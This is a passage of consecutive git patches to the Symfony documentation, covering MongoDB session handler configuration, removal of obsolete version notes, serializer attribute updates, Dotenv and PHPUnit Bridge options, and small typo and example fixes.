                     <argument type="service">doctrine_mongodb.odm.default_connection</argument>
                     <argument type="collection">
+                        <argument key="database">%env('MONGODB_DB')%</argument>
+                        <argument key="collection">sessions</argument>
                         <argument key="id_field">_guid</argument>
                         <argument key="expiry_field">eol</argument>
                     </argument>
@@ -1158,7 +1170,12 @@ configure these values with the second argument passed to the
             $services->set(MongoDbSessionHandler::class)
                 ->args([
                     service('doctrine_mongodb.odm.default_connection'),
-                    ['id_field' => '_guid', 'expiry_field' => 'eol'],
+                    [
+                        'database' => '%env('MONGODB_DB')%',
+                        'collection' => 'sessions'
+                        'id_field' => '_guid',
+                        'expiry_field' => 'eol',
+                    ],
                 ])
             ;
         };

From e0b4107083317145888567fa26d9c3530af7b24f Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 24 Oct 2023 10:26:42 +0200
Subject: [PATCH 5331/7107] -

---
 session.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/session.rst b/session.rst
index 5ab383b3083..6d685244a75 100644
--- a/session.rst
+++ b/session.rst
@@ -1051,7 +1051,7 @@ the MongoDB connection as argument, and the required parameters:
             $services->set(MongoDbSessionHandler::class)
                 ->args([
                     service('doctrine_mongodb.odm.default_connection'),
-                    ['database' => '%env('MONGODB_DB')%', 'collection' => 'sessions']
+                    ['database' => '%env("MONGODB_DB")%', 'collection' => 'sessions']
                 ])
             ;
         };

From bba62162998fb7ef03a37e22b47f2f229fe880ff Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 24 Oct 2023 10:31:55 +0200
Subject: [PATCH 5332/7107] Remove obsolete versionadded directives

---
 frontend/asset_mapper.rst          |  6 ------
 reference/configuration/kernel.rst | 16 ----------------
 2 files changed, 22 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 140c4d22c88..150c57ff05f 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -961,12 +961,6 @@ the polyfill loading.
 
         $ php bin/console importmap:require es-module-shims
 
-.. versionadded:: 6.4
-
-    Passing an importmap name in ``importmap_polyfill`` was
-    introduced in Symfony 6.4. Prior to this, you could pass ``false``
-    or a custom URL to load the polyfill.
-
 ``framework.asset_mapper.importmap_script_attributes``
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/reference/configuration/kernel.rst b/reference/configuration/kernel.rst
index cbfb48f1316..813cd41223c 100644
--- a/reference/configuration/kernel.rst
+++ b/reference/configuration/kernel.rst
@@ -314,10 +314,6 @@ the application is running in web mode and ``web=1&worker=1`` when running in
 a long-running web server. This parameter can be set by using the
 ``APP_RUNTIME_MODE`` env var.
 
-.. versionadded:: 6.4
-
-    The ``kernel.runtime_mode`` parameter was introduced in Symfony 6.4.
-
 ``kernel.runtime_mode.web``
 ---------------------------
 
@@ -325,10 +321,6 @@ a long-running web server. This parameter can be set by using the
 
 Whether the application is running in a web environment.
 
-.. versionadded:: 6.4
-
-    The ``kernel.runtime_mode.web`` parameter was introduced in Symfony 6.4.
-
 ``kernel.runtime_mode.cli``
 ---------------------------
 
@@ -337,10 +329,6 @@ Whether the application is running in a web environment.
 Whether the application is running in a CLI environment. By default,
 this value is the opposite of the ``kernel.runtime_mode.web`` parameter.
 
-.. versionadded:: 6.4
-
-    The ``kernel.runtime_mode.cli`` parameter was introduced in Symfony 6.4.
-
 ``kernel.runtime_mode.worker``
 ------------------------------
 
@@ -349,10 +337,6 @@ this value is the opposite of the ``kernel.runtime_mode.web`` parameter.
 Whether the application is running in a worker/long-running environment. Not all web
 servers support it, and you have to use a long-running web server like `FrankenPHP`_.
 
-.. versionadded:: 6.4
-
-    The ``kernel.runtime_mode.worker`` parameter was introduced in Symfony 6.4.
-
 ``kernel.secret``
 -----------------
 

From 24f21cfcb0a828fe5470dbdd9344b5d8793f52aa Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 24 Oct 2023 11:34:59 +0200
Subject: [PATCH 5333/7107] -

---
 components/property_info.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/property_info.rst b/components/property_info.rst
index a95975aadd5..e9f5853cb51 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -490,7 +490,7 @@ with the ``property_info`` service in the Symfony Framework::
 
 If ``serializer_groups`` is set to ``null``, serializer groups metadata won't be
 checked but you will get only the properties considered by the Serializer
-Component (notably the ``@Ignore`` annotation is taken into account).
+Component (notably the ``#[Ignore]`` attribute is taken into account).
 
 DoctrineExtractor
 ~~~~~~~~~~~~~~~~~

From d348603b7e6e3572408c1fec99571feb1bb3ee23 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Tue, 24 Oct 2023 11:38:59 +0200
Subject: [PATCH 5334/7107] simplify compiler pass example

---
 testing.rst | 25 ++++++++++---------------
 1 file changed, 10 insertions(+), 15 deletions(-)

diff --git a/testing.rst b/testing.rst
index f3041fcaac9..ebd29518071 100644
--- a/testing.rst
+++ b/testing.rst
@@ -639,32 +639,27 @@ to remove the ``kernel.reset`` tag from some services in your test environment::
     // src/Kernel.php
     namespace App;
 
-    use App\DependencyInjection\Compiler\CustomPass;
     use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
+    use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface;
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\HttpKernel\Kernel as BaseKernel;
 
-    class Kernel extends BaseKernel
+    class Kernel extends BaseKernel implements CompilerPassInterface
     {
         use MicroKernelTrait;
 
         // ...
 
-        protected function build(ContainerBuilder $container): void
+        protected function process(ContainerBuilder $container): void
         {
             if ('test' === $this->environment) {
-                $container->addCompilerPass(new class() implements CompilerPassInterface {
-                    public function process(ContainerBuilder $container): void
-                    {
-                        // prevents the security token to be cleared
-                        $container->getDefinition('security.token_storage')->clearTag('kernel.reset');
-
-                        // prevents Doctrine entities to be detached
-                        $container->getDefinition('doctrine')->clearTag('kernel.reset');
-
-                        // ...
-                    }
-                });
+                // prevents the security token to be cleared
+                $container->getDefinition('security.token_storage')->clearTag('kernel.reset');
+
+                // prevents Doctrine entities to be detached
+                $container->getDefinition('doctrine')->clearTag('kernel.reset');
+
+                // ...
             }
         }
     }

From 4fd16133498febb9cf9dfb8d2550bcb566f5fc08 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 24 Oct 2023 11:23:29 +0200
Subject: [PATCH 5335/7107] [PropertyInfo][Serializer] Remove
 `AnnotationLoader`

---
 _build/redirection_map       |  1 +
 components/property_info.rst | 14 --------------
 components/serializer.rst    | 24 ------------------------
 3 files changed, 1 insertion(+), 38 deletions(-)

diff --git a/_build/redirection_map b/_build/redirection_map
index 90303a53d75..3b845d59ffe 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -526,6 +526,7 @@
 /components https://symfony.com/components
 /components/index https://symfony.com/components
 /serializer/normalizers /components/serializer#normalizers
+/components/serializer#component-serializer-attributes-groups-annotations /components/serializer#component-serializer-attributes-groups-attributes
 /logging/monolog_regex_based_excludes /logging/monolog_exclude_http_codes
 /security/named_encoders /security/named_hashers
 /components/inflector /components/string#inflector
diff --git a/components/property_info.rst b/components/property_info.rst
index 0e8a4671d81..452966f57d5 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -468,20 +468,6 @@ with the ``property_info`` service in the Symfony Framework::
     // the `serializer_groups` option must be configured (may be set to null)
     $serializerExtractor->getProperties($class, ['serializer_groups' => ['mygroup']]);
 
-.. versionadded:: 6.4
-
-    The
-    :class:`Symfony\\Component\\Serializer\\Mapping\\Loader\\AttributeLoader`
-    was introduced in Symfony 6.4. Prior to this, the
-    :class:`Symfony\\Component\\Serializer\\Mapping\\Loader\\AnnotationLoader`
-    must be used.
-
-.. deprecated:: 6.4
-
-    The
-    :class:`Symfony\\Component\\Serializer\\Mapping\\Loader\\AnnotationLoader`
-    was deprecated in Symfony 6.4.
-
 If ``serializer_groups`` is set to ``null``, serializer groups metadata won't be
 checked but you will get only the properties considered by the Serializer
 Component (notably the ``#[Ignore]`` attribute is taken into account).
diff --git a/components/serializer.rst b/components/serializer.rst
index 9282cfec115..ba2c4a45a4d 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -271,14 +271,6 @@ that will be used by the normalizer must be aware of the format to use.
 The following code shows how to initialize the :class:`Symfony\\Component\\Serializer\\Mapping\\Factory\\ClassMetadataFactory`
 for each format:
 
-* Annotations in PHP files::
-
-    use Doctrine\Common\Annotations\AnnotationReader;
-    use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
-    use Symfony\Component\Serializer\Mapping\Loader\AnnotationLoader;
-
-    $classMetadataFactory = new ClassMetadataFactory(new AnnotationLoader(new AnnotationReader()));
-
 * Attributes in PHP files::
 
     use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
@@ -300,22 +292,6 @@ for each format:
 
     $classMetadataFactory = new ClassMetadataFactory(new XmlFileLoader('/path/to/your/definition.xml'));
 
-.. versionadded:: 6.4
-
-    The
-    :class:`Symfony\\Component\\Serializer\\Mapping\\Loader\\AttributeLoader`
-    was introduced in Symfony 6.4. Prior to this, the
-    :class:`Symfony\\Component\\Serializer\\Mapping\\Loader\\AnnotationLoader`
-    must be used.
-
-.. deprecated:: 6.4
-
-    Reading annotations in PHP files is deprecated since Symfony 6.4.
-    Also, the
-    :class:`Symfony\\Component\\Serializer\\Mapping\\Loader\\AnnotationLoader`
-    was deprecated in Symfony 6.4.
-
-.. _component-serializer-attributes-groups-annotations:
 .. _component-serializer-attributes-groups-attributes:
 
 Then, create your groups definition:

From d094c5dde8f4a242427af395a357fc680814d103 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 24 Oct 2023 13:15:23 +0200
Subject: [PATCH 5336/7107] -

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 8424f980f7e..ac4fafdd47d 100644
--- a/README.md
+++ b/README.md
@@ -27,7 +27,7 @@ We love contributors! For more information on how you can contribute, please rea
 the [Symfony Docs Contributing Guide](https://symfony.com/doc/current/contributing/documentation/overview.html).
 
 **Important**: use `5.4` branch as the base of your pull requests, unless you are
-documenting a feature that was introduced *after* Symfony 5.4 (e.g. in Symfony 6.2).
+documenting a feature that was introduced *after* Symfony 5.4 (e.g. in Symfony 6.3).
 
 Build Documentation Locally
 ---------------------------

From a24e26567d7b019a46b140af8f2e811839bd1bcf Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 24 Oct 2023 13:20:23 +0200
Subject: [PATCH 5337/7107] -

---
 README.md | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index ac4fafdd47d..17b6ea8ac74 100644
--- a/README.md
+++ b/README.md
@@ -26,8 +26,9 @@ Contributing
 We love contributors! For more information on how you can contribute, please read
 the [Symfony Docs Contributing Guide](https://symfony.com/doc/current/contributing/documentation/overview.html).
 
-**Important**: use `5.4` branch as the base of your pull requests, unless you are
-documenting a feature that was introduced *after* Symfony 5.4 (e.g. in Symfony 6.3).
+> [!IMPORTANT]
+> Use `5.4` branch as the base of your pull requests, unless you are documenting a
+> feature that was introduced *after* Symfony 5.4 (e.g. in Symfony 6.3).
 
 Build Documentation Locally
 ---------------------------

From 88203b158e388b43b94501b841bdb07e83e373d6 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 24 Oct 2023 15:31:02 +0200
Subject: [PATCH 5338/7107] [DotEnv] Mention the `overrideExistingVars`
 parameter of `DotEnv`

---
 configuration.rst | 21 +++++++++++++++++++++
 1 file changed, 21 insertions(+)

diff --git a/configuration.rst b/configuration.rst
index 35417a8dfee..dd1b6f3e472 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -872,6 +872,27 @@ the env files ending in ``.local`` (``.env.local`` and ``.env.<environment>.loca
 **should not be committed** because only you will use them. In fact, the
 ``.gitignore`` file that comes with Symfony prevents them from being committed.
 
+Overriding Environment Values Defined By The System
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+You may need to override an environment value defined by the system. This can
+be done thanks to the :class:`Symfony\\Component\\Dotenv\\Dotenv` class. The
+:method:`Symfony\\Component\\Dotenv\\Dotenv::loadEnv`,
+:method:`Symfony\\Component\\Dotenv\\Dotenv::bootEnv`, and
+:method:`Symfony\\Component\\Dotenv\\Dotenv::populate` methods accept an optional
+``overrideExistingVars`` parameter that allows you to override existing environment
+variables set by the system::
+
+    use Symfony\Component\Dotenv\Dotenv;
+
+    $dotenv = new Dotenv();
+    $dotenv->loadEnv(__DIR__.'/.env', null, 'dev', ['test'], true);
+
+    // ...
+
+This will override environment variables defined by the system
+and **won't** override environment variables defined in ``.env`` files.
+
 .. _configuration-env-var-in-prod:
 
 Configuring Environment Variables in Production

From ab4e69fc6ee6771e32587f1f00309a1ccf68cb0e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 25 Oct 2023 13:19:37 +0200
Subject: [PATCH 5339/7107] Tweaks

---
 configuration.rst | 16 +++++++---------
 1 file changed, 7 insertions(+), 9 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index dd1b6f3e472..e34e32aeb04 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -872,16 +872,14 @@ the env files ending in ``.local`` (``.env.local`` and ``.env.<environment>.loca
 **should not be committed** because only you will use them. In fact, the
 ``.gitignore`` file that comes with Symfony prevents them from being committed.
 
-Overriding Environment Values Defined By The System
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Overriding Environment Variables Defined By The System
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-You may need to override an environment value defined by the system. This can
-be done thanks to the :class:`Symfony\\Component\\Dotenv\\Dotenv` class. The
+If you need to override an environment variable defined by the system, use the
+``overrideExistingVars`` parameter defined by the
 :method:`Symfony\\Component\\Dotenv\\Dotenv::loadEnv`,
 :method:`Symfony\\Component\\Dotenv\\Dotenv::bootEnv`, and
-:method:`Symfony\\Component\\Dotenv\\Dotenv::populate` methods accept an optional
-``overrideExistingVars`` parameter that allows you to override existing environment
-variables set by the system::
+:method:`Symfony\\Component\\Dotenv\\Dotenv::populate` methods::
 
     use Symfony\Component\Dotenv\Dotenv;
 
@@ -890,8 +888,8 @@ variables set by the system::
 
     // ...
 
-This will override environment variables defined by the system
-and **won't** override environment variables defined in ``.env`` files.
+This will override environment variables defined by the system but it **won't**
+override environment variables defined in ``.env`` files.
 
 .. _configuration-env-var-in-prod:
 

From 3b186821c8158adef48360074309b3baaf4c74cf Mon Sep 17 00:00:00 2001
From: Florian CAVASIN <cavasinf.info@gmail.com>
Date: Thu, 19 Oct 2023 18:17:21 +0200
Subject: [PATCH 5340/7107] [Validator] Add "Translatable Objects" example

---
 validation/translations.rst | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)

diff --git a/validation/translations.rst b/validation/translations.rst
index 5826ae906ca..5b37fb30aca 100644
--- a/validation/translations.rst
+++ b/validation/translations.rst
@@ -123,6 +123,29 @@ Now, create a ``validators`` catalog file in the ``translations/`` directory:
 You may need to clear your cache (even in the dev environment) after creating
 this file for the first time.
 
+You can also use :class:`Symfony\\Component\\Translation\\TranslatableMessage` to build your violation message::
+
+    use Symfony\Component\Translation\TranslatableMessage;
+    use Symfony\Component\Validator\Constraints as Assert;
+    use Symfony\Component\Validator\Context\ExecutionContextInterface;
+    
+    #[Assert\Callback]
+    public function validate(ExecutionContextInterface $context, mixed $payload): void
+    {
+        // somehow you have an array of "fake names"
+        $fakeNames = [/* ... */];
+    
+        // check if the name is actually a fake name
+        if (in_array($this->getFirstName(), $fakeNames, true)) {
+            $context->buildViolation(new TranslatableMessage('author.name.fake', [], 'validators'))
+                ->atPath('firstName')
+                ->addViolation()
+            ;
+        }
+    }
+
+You can learn more about translatable messages in :ref:`the dedicated section <translatable-objects>`.
+
 Custom Translation Domain
 -------------------------
 

From 892359ded077a2f2165aee063093ebad3881f3d6 Mon Sep 17 00:00:00 2001
From: Vincent Chareunphol <vincent@devoji.com>
Date: Thu, 26 Oct 2023 08:29:33 +0200
Subject: [PATCH 5341/7107] Fix grammar typo

---
 components/expression_language.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/expression_language.rst b/components/expression_language.rst
index e867f33a472..05a172cfa0f 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -196,7 +196,7 @@ It's difficult to manipulate or inspect the expressions created with the Express
 component, because the expressions are plain strings. A better approach is to
 turn those expressions into an AST. In computer science, `AST`_ (*Abstract
 Syntax Tree*) is *"a tree representation of the structure of source code written
-in a programming language"*. In Symfony, a ExpressionLanguage AST is a set of
+in a programming language"*. In Symfony, an ExpressionLanguage AST is a set of
 nodes that contain PHP classes representing the given expression.
 
 Dumping the AST

From 011fd3336f761d98ea4d927a4336020b2a908c45 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 26 Oct 2023 10:10:38 +0200
Subject: [PATCH 5342/7107] [DotEnv] Use named parameter

---
 configuration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration.rst b/configuration.rst
index 947a3dc88e2..87ba50a2c9b 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -897,7 +897,7 @@ If you need to override an environment variable defined by the system, use the
     use Symfony\Component\Dotenv\Dotenv;
 
     $dotenv = new Dotenv();
-    $dotenv->loadEnv(__DIR__.'/.env', null, 'dev', ['test'], true);
+    $dotenv->loadEnv(__DIR__.'/.env', overrideExistingVars: true);
 
     // ...
 

From 775402dbb9adb941604505dbaf694d3be2ebea35 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 27 Oct 2023 10:25:04 +0200
Subject: [PATCH 5343/7107] fix RateLimiter component name

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 5a44ca2122b..105c7d37561 100644
--- a/security.rst
+++ b/security.rst
@@ -1459,7 +1459,7 @@ Then, enable this feature using the ``login_throttling`` setting:
 
     The ``login_throttling.interval`` option was introduced in Symfony 5.3.
 
-The Rate Limiter component uses by default the Symfony cache to store the previous
+The RateLimiter component uses by default the Symfony cache to store the previous
 login attempts. However, you can implement a :ref:`custom storage <rate-limiter-storage>`.
 
 Login attempts are limited on ``max_attempts`` (default: 5)

From bdfd00af2c801da03a8fbf479ac01db9c8e999e4 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 27 Oct 2023 10:52:12 +0200
Subject: [PATCH 5344/7107] fix typo

---
 doctrine.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine.rst b/doctrine.rst
index 0e8cd614598..a0005f61ee8 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -747,7 +747,7 @@ but ``$comment`` is configured with the attribute since they cannot both follow
 the default convention.
 
 If you need to get other information from the request to query the database, you
-can also access to the request in your expression thanks to the ``request``
+can also access the request in your expression thanks to the ``request``
 variable. Let's say you pass the page limit of a list in a query parameter::
 
     #[Route('/product/{id}/comments')]

From 5903c0eda95b5a8d7d0d51e987d16dd633c90dc3 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 27 Oct 2023 11:15:07 +0200
Subject: [PATCH 5345/7107] fix typo

---
 components/console/helpers/formatterhelper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/console/helpers/formatterhelper.rst b/components/console/helpers/formatterhelper.rst
index 061b7616c8d..2b167fd302e 100644
--- a/components/console/helpers/formatterhelper.rst
+++ b/components/console/helpers/formatterhelper.rst
@@ -135,4 +135,4 @@ precision (default ``1``) of the result::
 
 .. versionadded:: 6.4
 
-    The support for exact times were introduced in Symfony 6.4.
+    The support for exact times was introduced in Symfony 6.4.

From 5be90aa61b4b2ecf6c5270939bf5cf9e2cc60637 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 27 Oct 2023 10:38:49 +0200
Subject: [PATCH 5346/7107] [PhpUnitBridge] Allow setting the locale using
 `SYMFONY_PHPUNIT_LOCALE` env var

---
 components/phpunit_bridge.rst | 39 +++++++++++++++++++++++++++++++++--
 1 file changed, 37 insertions(+), 2 deletions(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index bfa69893bb9..e387510c69b 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -7,8 +7,8 @@ The PHPUnit Bridge
 
 It comes with the following features:
 
-* Forces the tests to use a consistent locale (``C``) (if you create
-  locale-sensitive tests, use PHPUnit's ``setLocale()`` method);
+* Sets by default a consistent locale (``C``) for your tests (if you
+  create locale-sensitive tests, use PHPUnit's ``setLocale()`` method);
 
 * Auto-register ``class_exists`` to load Doctrine annotations (when used);
 
@@ -402,6 +402,41 @@ Log Deprecations
 For turning the verbose output off and write it to a log file instead you can use
 ``SYMFONY_DEPRECATIONS_HELPER='logFile=/path/deprecations.log'``.
 
+Setting The Locale For Tests
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+By default, the PHPUnit Bridge forces the locale to ``C`` to avoid locale
+issues in tests. This behavior can be changed by setting the
+``SYMFONY_PHPUNIT_LOCALE`` environment variable to the desired locale:
+
+.. code-block:: bash
+
+    # .env.test
+    SYMFONY_PHPUNIT_LOCALE="fr_FR"
+
+Alternatively, you can set this environment variable in the PHPUnit
+configuration file:
+
+.. code-block:: xml
+
+    <!-- https://phpunit.de/manual/6.0/en/appendixes.configuration.html -->
+    <phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+        xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/6.0/phpunit.xsd"
+    >
+
+        <!-- ... -->
+
+        <php>
+            <!-- ... -->
+            <env name="SYMFONY_PHPUNIT_LOCALE" value="fr_FR"/>
+        </php>
+    </phpunit>
+
+.. versionadded:: 6.4
+
+    The support for the ``SYMFONY_PHPUNIT_LOCALE`` environment variable was
+    introduced in Symfony 6.4.
+
 .. _write-assertions-about-deprecations:
 
 Write Assertions about Deprecations

From fcfc6bd38083e5a7bf2e5cd1baf481182bcc62b6 Mon Sep 17 00:00:00 2001
From: Bredillet Thomas <thoma39@msn.com>
Date: Fri, 27 Oct 2023 17:07:42 +0200
Subject: [PATCH 5347/7107] Use Route attribute instead annotations

Use Route attribute instead annotations available since 5.2
---
 notifier.rst | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 7ee3900e350..1b3a640809c 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -179,9 +179,7 @@ send SMS messages::
 
     class SecurityController
     {
-        /**
-         * @Route("/login/success")
-         */
+        #[Route('/login/success')
         public function loginSuccess(TexterInterface $texter)
         {
             $sms = new SmsMessage(

From e0efe0a25acb57960ea96d14f4071f849fefa6cf Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sat, 28 Oct 2023 12:18:27 +0200
Subject: [PATCH 5348/7107] fix the time formatting example

---
 components/console/helpers/formatterhelper.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/components/console/helpers/formatterhelper.rst b/components/console/helpers/formatterhelper.rst
index 2b167fd302e..0f78abee8d0 100644
--- a/components/console/helpers/formatterhelper.rst
+++ b/components/console/helpers/formatterhelper.rst
@@ -121,17 +121,17 @@ If you don't want to use suffix at all, pass an empty string::
     // because length of the "test..." string is shorter than 10
 
 Formatting Time
-~~~~~~~~~~~~~~~
+---------------
 
 Sometimes you want to format seconds to time. This is possible with the
-:method:`Symfony\\Component\\Console\\Helper\\FormatterHelper::formatTime` method.
+:method:`Symfony\\Component\\Console\\Helper\\Helper::formatTime` method.
 The first argument is the seconds to format and the second argument is the
 precision (default ``1``) of the result::
 
-    $formatter->truncate(42);        // 42 secs
-    $formatter->truncate(125);       // 2 mins
-    $formatter->truncate(125, 2);    // 2 mins, 5 secs
-    $formatter->truncate(172799, 4); // 1 day, 23 hrs, 59 mins, 59 secs
+    Helper::formatTime(42);        // 42 secs
+    Helper::formatTime(125);       // 2 mins
+    Helper::formatTime(125, 2);    // 2 mins, 5 secs
+    Helper::formatTime(172799, 4); // 1 day, 23 hrs, 59 mins, 59 secs
 
 .. versionadded:: 6.4
 

From 51a5af7106f79857b64587c25f2c460393ff4711 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sat, 28 Oct 2023 12:33:47 +0200
Subject: [PATCH 5349/7107] fix attribute syntax

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 1b3a640809c..ae1ac4ab740 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -179,7 +179,7 @@ send SMS messages::
 
     class SecurityController
     {
-        #[Route('/login/success')
+        #[Route('/login/success')]
         public function loginSuccess(TexterInterface $texter)
         {
             $sms = new SmsMessage(

From 8510eb4be782212c1be9652f7b1c2c0a21aa3e9f Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sat, 28 Oct 2023 12:38:55 +0200
Subject: [PATCH 5350/7107] remove versionadded directive for Symfony 6.4

---
 components/phpunit_bridge.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 44e7d40bb69..f1c81a5769e 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -428,11 +428,6 @@ configuration file:
         </php>
     </phpunit>
 
-.. versionadded:: 6.4
-
-    The support for the ``SYMFONY_PHPUNIT_LOCALE`` environment variable was
-    introduced in Symfony 6.4.
-
 .. _write-assertions-about-deprecations:
 
 Write Assertions about Deprecations

From 4658deb7db1e1d3f9f372667af2db28424239b39 Mon Sep 17 00:00:00 2001
From: Javier Spagnoletti <phansys@gmail.com>
Date: Fri, 27 Oct 2023 22:43:08 -0300
Subject: [PATCH 5351/7107] Fix wording at `property_access.rst`

---
 components/property_access.rst | 21 +++++++++++----------
 1 file changed, 11 insertions(+), 10 deletions(-)

diff --git a/components/property_access.rst b/components/property_access.rst
index 68bf5fc9e97..f19aff6111b 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -406,20 +406,21 @@ Using non-standard adder/remover methods
 Sometimes, adder and remover methods don't use the standard ``add`` or ``remove`` prefix, like in this example::
 
     // ...
-    class PeopleList
+    class Team
     {
         // ...
 
-        public function joinPeople(string $people): void
+        public function joinTeam(string $person): void
         {
-            $this->peoples[] = $people;
+            $this->team[] = $person;
         }
 
-        public function leavePeople(string $people): void
+        public function leaveTeam(string $person): void
         {
-            foreach ($this->peoples as $id => $item) {
-                if ($people === $item) {
-                    unset($this->peoples[$id]);
+            foreach ($this->team as $id => $item) {
+                if ($person === $item) {
+                    unset($this->team[$id]);
+
                     break;
                 }
             }
@@ -429,12 +430,12 @@ Sometimes, adder and remover methods don't use the standard ``add`` or ``remove`
     use Symfony\Component\PropertyInfo\Extractor\ReflectionExtractor;
     use Symfony\Component\PropertyAccess\PropertyAccessor;
 
-    $list = new PeopleList();
+    $list = new Team();
     $reflectionExtractor = new ReflectionExtractor(null, null, ['join', 'leave']);
     $propertyAccessor = new PropertyAccessor(PropertyAccessor::DISALLOW_MAGIC_METHODS, PropertyAccessor::THROW_ON_INVALID_PROPERTY_PATH, null, $reflectionExtractor, $reflectionExtractor);
-    $propertyAccessor->setValue($person, 'peoples', ['kevin', 'wouter']);
+    $propertyAccessor->setValue($person, 'team', ['kevin', 'wouter']);
 
-    var_dump($person->getPeoples()); // ['kevin', 'wouter']
+    var_dump($person->getTeam()); // ['kevin', 'wouter']
 
 Instead of calling ``add<SingularOfThePropertyName>()`` and ``remove<SingularOfThePropertyName>()``, the PropertyAccess
 component will call ``join<SingularOfThePropertyName>()`` and ``leave<SingularOfThePropertyName>()`` methods.

From 8bccba69e11fe4ebd90852e9b3327300652e0684 Mon Sep 17 00:00:00 2001
From: Marko Kaznovac <kaznovac@users.noreply.github.com>
Date: Wed, 23 Aug 2023 12:49:58 +0200
Subject: [PATCH 5352/7107] [configuration]: remove php<8 section, remove flex
 reference

- symfony 6.x requires php > 8 so configuration section for pre 8 is irrelevant
- `dotenv:dump` has been implemented in 5.4 and reference to flex is no longer relevant https://github.com/symfony/symfony/commit/234c0b300d13f43abe871d99943e779e1b4051f6
---
 configuration.rst | 11 -----------
 1 file changed, 11 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 87ba50a2c9b..413e92bddb0 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -927,17 +927,6 @@ To improve performance, you can optionally run the ``dump-env`` Composer command
     1.2 or later). The command is not registered by default, so you must register
     first in your services:
 
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            Symfony\Component\Dotenv\Command\DotenvDumpCommand:
-                - '%kernel.project_dir%/.env'
-                - '%kernel.environment%'
-
